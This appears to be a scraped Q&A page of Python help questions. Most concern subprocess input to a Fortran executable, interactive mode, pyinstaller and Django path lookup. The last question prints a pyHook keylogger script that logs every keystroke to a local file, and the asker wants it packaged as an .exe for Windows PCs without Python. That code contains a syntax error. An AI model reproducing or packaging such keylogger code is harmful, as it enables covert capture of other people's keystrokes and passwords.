Run a Fortran exe in Python - python-3.x

I am facing with an automation problem in Python. I am pretty new in using the subprocess module that I intend to use for this task. I am working with Python 3.8 and Windows 10. I have a .exe program that I want to run inside a python script. With the following commands:
import sys, string, os, subprocess
from subprocess import PIPE, Popen, STDOUT, STARTUPINFO
s = Popen("my_fortran_code.exe", stdin=PIPE, stdout=PIPE, stderr=PIPE, shell = True)
I successfully start the executable Fortran code but, after that, the code needs some user inputs from the keyboard interactively. I tried to pass the inputs using communicate as follows:
out = s.communicate(input=b'1\n0\n1\nfile_name\n')[0]
but the Fortran code doesn't receive the inputs.
Some suggestions about this problem?
Thanks a lot!

Related

Run python script with module/ modules already imported

I have tried nearly all solutions in my mind to do this, but the fact is I can't run a python script with modules imported already.
Here's my code for the module cls.py:
import os
def cls():
os.system('cls')
Given below is the code for opening python in cmd:
#echo off
python
pause
What I need is to open the python in the command prompt with the module cls imported. Also, when I try python -m <module> way, it doesn't show any errors, but the program ends.
Any help would be greatly appreciated and thanks in advance.
Saw this question related to mine, but it is not my problem: Run python script that imports modules with batch file
I think what you'r looking for is the interactive mode:
-i
When a script is passed as first argument or the -c option is used, enter interactive mode after executing the script or the command
So just use python -i cls.py in your batch file. This would import your Python file and stay in the Python interpreter prompt. You could then just call cls() because it's already imported.
Alternatively, you could set the environment variable PYTHONSTARTUP in your batch file:
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same namespace where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session.

my GUI doesn't run as executable using pyinstaller?

I've used pyinstaller to convert my Tkinter GUI to an executable file. When I run the exe through command prompt, it reads it but does nothing (I know it reads it because when it has errors they are shown). I'm very new to programming so I wrote a simpler script to generate a window only, converted this to exe and encountered the same problem. Any fundamental rules I'm not aware of that will correct this? Here's the simple code:
import tkinter
from tkinter import *
import os
import sys
def startup():
global CODES
CODES = Tk()
CODES.title("TEST WINDOW - PYTHON EXECUTABLE")
CODES.geometry("1555x569+20+20")
return CODES.mainloop
startup()
Saved it as "test.py", converted to exe by "pyinstaller test.py -F" in Command Prompt. When run, it just pauses then returns to Command Prompt

Getting python2.7 path in django app for subprocess call

I am using linux. I am trying to run daemon from function in django views. I want to run shell command from a view in Djangp app. I am using python 2.7. Command needs python2.7 path.
My app will be like plug n play. So on system on which it is going to install may have python installed on different location. So I want to make python path dynamic.
Command will be
usr/bin/python2.7 filename.py --start
On my system path is usr/bin/python2.7.
I found follwing using os.
On python shell I tried following code & I get what I want
import os
getPyPath = os.popen('which python2.7', 'r')
pyPath = getPyPath.read()
pyPath.rstrip()
I got o/p as which is expected as below
usr/bin/python2.7
So now how to get this code is django app view function & run it so that I can get python path in a variable.
I found pythons subprocess module call using which we can run command through shell using shell=True.
So can I get above code running in django view function using subprocess call??
If not what is the other ways to get python path in variable in function django views.
Thanks in advance.
To view the full path to the current Python interpreter, use sys.executable
import sys
print(sys.executable)

Python3 interactive mode on Linux launches the codes twice

I have written a chess program in Python 3.4.3 and I am running the Python 3 interpreter in the interactive mode as follows:
python3 -i chess.py
However, the code after the class definitions get invoked twice and I do not know why. My code is on pastebin
You should remove the line from chess import * that is at the end of the file, it should not be needed.
Also, it is common to make sure that some of the code is not executed unless the code in the module is executed as a script.
if __name__ == '__main__':
# Not executed if the module is imported
g = Game()

cx_Freeze program created from python won't run

I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.

Resources